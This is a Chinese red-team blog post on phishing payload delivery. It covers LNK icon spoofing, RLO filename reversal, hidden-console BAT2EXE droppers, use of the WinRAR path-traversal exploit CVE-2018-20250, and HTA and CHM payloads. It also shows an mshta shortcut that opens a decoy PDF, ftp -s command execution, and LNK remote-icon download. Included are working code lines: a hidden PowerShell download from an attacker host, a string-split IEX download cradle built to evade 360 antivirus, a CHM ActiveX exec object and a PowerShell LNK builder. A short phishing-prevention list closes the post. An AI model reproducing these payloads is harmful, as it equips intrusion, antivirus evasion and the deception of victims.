Web攻防

红队测试之钓鱼攻击的应用(二)

2022-04-12  本文已影响0人  book4yi

0x01 Lnk:


lnk文件是用于指向其他文件的一种文件。这些文件通常称为快捷方式文件,通常它以快捷方式放在硬盘上,以方便使用者快速的调用。lnk钓鱼主要将图标伪装成正常图标,但是目标会执行shell命令。

lnk文件的载荷拥有自动隐藏.lnk后缀名,从而展现伪装的后缀名以欺骗目标的特点而被广泛使用。

以calc.exe的快捷方式为例,我们首先更改ico图标:

这里存在一个问题,如果用系统自带的ico去做文件图标替换的话会有个弊端,即当替换的ico在目标机器上不存在时,就会出现类似空白ico图标。我们可以通过修改lnk的icon_location标志位,修改为相关后缀,系统即可自动关联到对应的打开方式,达到自适配的效果

利用010 Editor打开lnk文件,找到String Data部分ICON_LOCATION字符串:

将其修改为./1.pdf:

效果展示:

修改ICON_LOCATION后,会根据目标机器上所安装的环境进行适配,以显示出符合本机环境的图标,加大了样本的成功几率

0x02 文件名反转(RLO)+ 超长文件名隐藏:


利用原理:

在windows下面,支持一种特殊的unicode字符RLO,一个字符串中如果有这个字符的话,那么在windows下显示时,就会把RLO右侧的字符串逆序显示出来。

在Windows中,如果我们直接修改文件后缀,会更改文件原本类型。但我们可以通过在文件名中插入此类unicode字符,来达到文件名反转的效果,实现文件名欺骗,而不更改文件原本类型。

以cmd.exe为例,将其重命名为cmdgpj.exe,然后在 cmd 与 g 之间右键选择插入Unicode控制字符,选择RLO。然后利用http://www.bitbug.net/将图片转为ico图标,再配合ResourceHacker修改图标。

利用windows目录默认显示文件名长度特性,进行修改将文件名加长隐藏后缀名。

或者可以新建一个bat文件,使用cs生成powershell木马,将其保存为test.bat。利用BAT2EXE导入前面创建的test.bat,然后将notepad添加到test.bat的顶部,将Exe格式更改为"隐形应用程序",以防止在目标用户打开文件时弹出任何终端,最后点击Convert。

转换成exe以后,利用RLO进行文件名反转,再添加记事本的图标来进行伪装。当用户关闭此txt时会新增一个powershell进程。这样做会使目标用户相信他们刚刚单击的文件确实是合法的文本文件,殊不知CS已悄然上线。

0x03 WinRAR目录穿越漏洞(CVE-2018-20250)


该漏洞是由于 WinRAR 所使用的一个陈旧的动态链接库UNACEV2.dll所造成的,该动态链接库在 2006 年被编译,没有任何的基础保护机制(ASLR, DEP 等)。动态链接库的作用是处理 ACE 格式文件。而WinRAR解压ACE文件时,由于没有对文件名进行充分过滤,导致其可实现目录穿越,将恶意文件写入任意目录,甚至可以写入文件至开机启动项,导致代码执行

漏洞主要是由 WinRAR 用来解压ACE压缩包采用的动态链接库 unacev2.dll 这个dll引起的。unacev2.dll 中处理 filename 时只校验了 CRC,黑客可以通过更改压缩包的 CRC 校验码来修改解压时候的 filename,来触发这个Path Traversal漏洞。但是 WinRAR 本身检测了 filename,有一些限制并且普通用户解压 RAR 文件时候,并不能将我们恶意的 Payload 解压到需要 System 权限的文件夹。

当用户将文件下载到默认的C:\Users\test\Downloads目录下时,我们通过构造C:\C:C:../AppData\Roaming\Microsoft\Windows\StartMenu\Programs\Startup\test.exe
经过 WinRAR 的 CleanPath 函数处理之后,会变成:C:../AppData\Roaming\Microsoft\Windows\StartMenu\Programs\Startup\test.exe

其中 C: 会被转换成当前路径,如果用 WinRAR 打开那么当前路径就是C:\Program Files\WinRAR,要是在文件夹中右键解压到 xxx,那么当前路径就是压缩包所在的路径。

当用户在文件夹中直接右键解压到 xx,那么我们恶意的 payload 解压地址就会变成:C:\Users\test\Downloads../AppData\Roaming\Microsoft\Windows\StartMenu\Programs\Startup\test.exe
就是当前用户的启动项。这样一个利用完成了从一个Path Traversal到任意命令执行的过程。

补充:如果解压缩软件并非目标版本,则提示解压失败或者不是一个正常的压缩包。

1、通过这个漏洞黑客可以将恶意程序(挖矿、勒索、间谍、anything)放入用户启动项,当目标电脑重新启动时获取目标主机的权限。
2、在拥有system权限下可以放入c:/windows/system32/wbem/mof/nullevt.mof,直接在获取目标主机的权限。
3、可以投放恶意dll文件进行dll劫持获取到目标主机的权限,或者覆盖用户主机上的文件等方式获取目标主机的权限

  • WinRAR < 5.70 Beta 1
  • Bandizip <= 6.2.0.0
  • 好压(2345压缩) <= 5.9.8.10907
  • 360压缩 <= 4.0.0.1170

漏洞利用exp:https://github.com/WyAtu/CVE-2018-20250

制作好CS马后,将其复制到项目文件中,修改exp.py文件中的evil_filename:

修改python3的运行命令

运行exp.py后,将生成的恶意test.rar文件传到win7靶机中的download目录中

使用WINRAR解压文件,解压后会在自启动目录生成一个恶意文件hi.exe,我们可以运行shell:startup进行查看

更多利用方式请参考:WinRAR(CVE-2018-20250)漏洞利用再升级 减少重启系统的依赖

0x04 HTA:


HTA是HTML Application的缩写,直接将HTML保存成HTA的格式,是一个独立的应用软件,本身就是html应用程序,双击就能运行,却比普通网页权限大得多,它具有桌面程序的所有权限。

Cobalt Strike也支持HTA钓鱼文件的生成,提供了3种生成方式 exe,powershell,vba

生成方式:Attack>Packages>HTML Application

其中VBA方法需要目标系统上的Microsoft Office,在系统支持的情况下我们一般选择powershell,因为这种方式更加容易免杀。通常我们结合host File(文件下载功能),生成一个下载恶意HTA的网址来实行钓鱼。

0x05 CHM:


CHM(Compiled Help Manual)即“已编译的帮助文件”。它是微软新一代的帮助文件格式,利用HTML作源文,把帮助内容以类似数据库的形式编译储存。CHM支持Javas cript、VBs cript、ActiveX、Java Applet、Flash。
常见图形文件(GIF、JPEG、PNG)、音频视频文件(MID、WAV、AVI)等等,并可以通过URL与Internet联系在一起。因为使用方便,形式多样也被采用作为电子书的格式。

创建一个文件夹,在文件夹里面再创建两个文件夹和一个index.html文件。index.html文件内容如下:

<!DOCTYPE html><html><head><title>Mousejack replay</title><head></head><body>
command exec 
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
<PARAM name="Command" value="ShortCut">
 <PARAM name="Button" value="Bitmap::shortcut">
 <PARAM name="Item1" value=',calc.exe'>
 <PARAM name="Item2" value="273,1,1">
</OBJECT>
<SCRIPT>
x.Click();
</SCRIPT>
</body></html>

使用EasyCHM进行编译后,打开生成的CHM文件,就会弹出计算器:

利用powershell上线CS:

注意:exe后面要再加一个英文版逗号否则无法执行exe,还要注意payload字符串的双引号跟单引号是否冲突

使用CHM执行powershell脚本,但唯一不足就是会弹出黑框。这里可以利用MyJSRat配合chm进行上线

python2 MyJSRat.py -i 192.168.107.129 -p 8555

然后访问下 url:http://192.168.107.129:8555/wtf

将payload复制到index.html文件中,然后重新编译CHM。

受害者打开chm文件后,触发Payload可无弹窗运行命令:

实际钓鱼的过程中,可以用正常chm文档进行伪装,将其转成html:

hh -decompile .\\html CHM.CHM

钓鱼html payload复制修改,嵌入到IBurpCollaboratorClientContext.html文件中

0x06 拓展一:


1、新建一个指向%windir%/System32/mshta.exe的快捷方式(文件名尽量带有迷惑性),并更改其图标为%SystemRoot%/System32/SHELL32.dll中任意一个
2、利用CS生成一个HTA文件,并利用Host File模块生成两个下载地址。其中一个指向正常的pdf文件,还有一个指向HTA文件
3、编辑HTA文件,于其执行payload前增加如下语句(用于下载诱饵文档并且进行打开,同时诱饵文档的显示有多种方法,这里只是举一个例子):

Dim open_pdf
Set open_pdf = CreateObject("Wscript.Shell")
open_pdf.run "powershell -nop -w hidden (new-object System.Net.WebClient).DownloadFile('http://192.168.107.129/1.pdf',$env:temp+'/2022最新薪资架构制度.pdf');Start-Process $env:temp'/2022最新薪资架构制度.pdf'", 0, true

利用上述方法,将lnk文件修改为自适应的pdf的图标,效果如下:

然后发送给靶机win7,双击该LNK文件,主机便会上线,而受害者会看到一正常的PDF文档:

0x07 拓展二:


利用原理:

  • 利用ftp参数!可以执行系统命令
  • -s:filename(指定包含 FTP 命令的文本文件;命令在FTP启动后自动运行。此参数中没有空格。)

利用以上两点达到命令执行的效果

1、创建一个快捷方式(参数混淆绕过360):

2、新建一个aaa.dll,内容为执行当前目录下的1.ps1文件:!cmd /k powershell -exec bypass .\1.ps1

3、1.ps1内容为CS上线命令,这里使用使用拼接的方式替换关键词,可绕过360的检测:

$c3 ='IEX';
$c6='(new-object net.webc';
$c7='lient).downlo';
$c8='adstr';
$c9 ='ing(''http://192.168.107.129:80/abc'')';
IEX ($c3+$c6+$c7+$c8+$c9)

0x08 拓展三:


操作系统不仅会从本地驱动器加载外部图标文件,还会尝试从以 UNC 格式指定的远程路径或者通过URL加载。当文件资源管理器显示 LNK 文件时,会尝试加载图标,如果图标由 UNC 或 URL 路径指定存在,它将被下载并显示。当计算机获取文件之后会像链接请求并缓存到:%USERPROFILE%\AppData\Local\Microsoft\Windows\INetCache

注意:ICON_LOCATION 字符串的限制:必须以.ico结尾

直接用ps1生成快捷方式:

$shell = New-Object -ComObject WScript.Shell
$shortcut = $shell.CreateShortcut("C:\users\sws123\desktop\aaaa.lnk")
$shortcut.TargetPath = "C:\windows\system32\cmd.exe"
$shortcut.Arguments = ' /c "cd %USERPROFILE%\AppData\Local\Microsoft\Windows\INetCache & dir /s /B calc*.exe | cmd.exe /k" '
$shortcut.IconLocation = "http://192.168.107.129:8000/calc.exe?.ico"
$shortcut.Save()

当在文件资源管理器中打开 LNK 所在的文件夹时,操作系统将尝试使用 HTTP GET 请求下载 URL 指定的文件:

生成的 HTTP GET 请求将导致将calc.exe下载到路径 %USERPROFILE%\AppData\Local\Microsoft\Windows\INetCache(在 W10 机器上)中的某个位置,名称为 calc[1].exe

由于文件路径是基本确定的,可以通过lnk文件修改链接指向cmd并执行它

制作一个特殊的 LNK 文件,将其压缩并通过网络钓鱼电子邮件发送出去,或者将 LNK 上传到多个用户使用的网络文件共享

详情请参考:Using Shell Links as zero-touch downloaders and to initiate network connections

钓鱼邮件防范措施:

对公司来说:

1)组织员工进行钓鱼邮件防范培训,提高全员网络空间安全防范意识;
2)在公司内部不定期进行钓鱼邮件安全测试,及时发现问题并采取补救措施;
3)使用高安全性邮件系统,并及时配置安全过滤机制;
4)敦促员工安装杀毒软件,并及时更新病毒库.

对个人来说:

1)认真学习CNCERT发布的《钓鱼邮件攻击防范指南》,做到“五要”“五不要”,增强安全防范意识;
2)不要轻信发件人地址显示的“显示名”,遇到索要敏感信息的邮件需要及时通过电话核实;
3)切忌轻易打开邮件中文中的短链接,谨防上当受骗,造成财物损失;
4)安装杀毒软件,邮件附件运行前先进行病毒查杀.

参考如下:


基于钓鱼攻击的技术点研究
红队攻防之CHM文档钓鱼
红蓝对抗之邮件钓鱼攻击
HW在即——红队活动之Lnk样本载荷篇
【漏洞复现】WinRAR目录穿越漏洞(CVE-2018-20250) - 爱码网
渗透地基钓鱼篇-Cobalt Strike钓鱼
黑客实战经常用到的钓鱼绕过骚操作

上一篇下一篇

猜你喜欢

热点阅读